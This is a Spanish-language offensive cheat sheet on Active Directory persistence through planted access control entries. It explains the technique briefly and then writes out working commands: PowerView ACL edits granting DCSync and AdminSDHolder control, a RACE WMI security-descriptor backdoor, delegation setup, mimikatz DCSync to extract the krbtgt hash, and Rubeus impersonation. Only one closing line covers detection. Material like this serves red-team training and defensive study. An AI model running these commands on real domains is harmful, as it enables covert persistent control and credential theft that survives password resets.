Qué es
La persistencia con ACE abusa de los permisos de los objetos de Active Directory. El atacante añade entradas de control de acceso (ACE) a objetos clave del directorio. El acceso queda escrito en los permisos, no en una contraseña, y sobrevive al reseteo de credenciales.
Cómo funciona
Active Directory decide quién puede hacer qué con una lista de permisos (DACL) en cada objeto. Una DACL es un conjunto de ACE, y cada ACE concede un derecho a un principal. El directorio no comprueba cómo llegó ahí una ACE: si dice que una cuenta tiene GenericAll o derechos de replicación, los tiene.
Es una técnica de posexplotación. El atacante ya controla el dominio (Domain Admins o equivalente) y solo quiere quedarse. Los objetivos típicos:
- El root del dominio: una ACE de replicación (DCSync) deja a una cuenta común sacar cualquier hash, incluido krbtgt.
- AdminSDHolder: el proceso SDProp copia su DACL sobre los grupos protegidos cada 60 minutos, así que la ACE plantada se reaplica sola.
- Superficies de acceso remoto (WMI, PSRemoting, registro): editar su descriptor de seguridad concede acceso a un principal sin privilegio.
- El atributo msDS-AllowedToDelegateTo: prepara la delegación en una cuenta controlada para suplantar a otros usuarios más tarde.
Resetear las contraseñas no borra ninguno de estos accesos.
Comandos
Conceder derechos de DCSync a una cuenta sobre el root del dominio, con PowerView:
Add-DomainObjectAcl -TargetIdentity "DC=<DOMAIN>,DC=<TLD>" -PrincipalIdentity <USER> -Rights DCSyncAñadir una ACE de control total sobre AdminSDHolder, que SDProp reaplica a los grupos protegidos:
Add-DomainObjectAcl -TargetIdentity "CN=AdminSDHolder,CN=System,DC=<DOMAIN>,DC=<TLD>" -PrincipalIdentity <USER> -Rights AllBackdoor del descriptor de seguridad de WMI en un host, con RACE:
Set-RemoteWMI -SamAccountName <USER> -ComputerName <HOST> -Namespace 'root\cimv2' -VerbosePreparar la delegación en una cuenta controlada, con PowerView:
Set-DomainObject -Identity <USER> -Set @{'msds-allowedtodelegateto'='<SPN>'}
Set-DomainObject -Identity <USER> -XOR @{'useraccountcontrol'=16777216}Cobrar la ACE de DCSync más tarde para sacar el hash de krbtgt, con mimikatz:
lsadump::dcsync /domain:<DOMAIN> /user:<DOMAIN>\krbtgtEjercer la delegación preparada, con Rubeus:
Rubeus.exe s4u /user:<USER> /rc4:<HASH> /impersonateuser:<USER> /msdsspn:<SPN> /pttCómo defenderse
Alerta ante peticiones de replicación (DRSUAPI) que no procedan de un Domain Controller: es la señal de una ACE de DCSync plantada.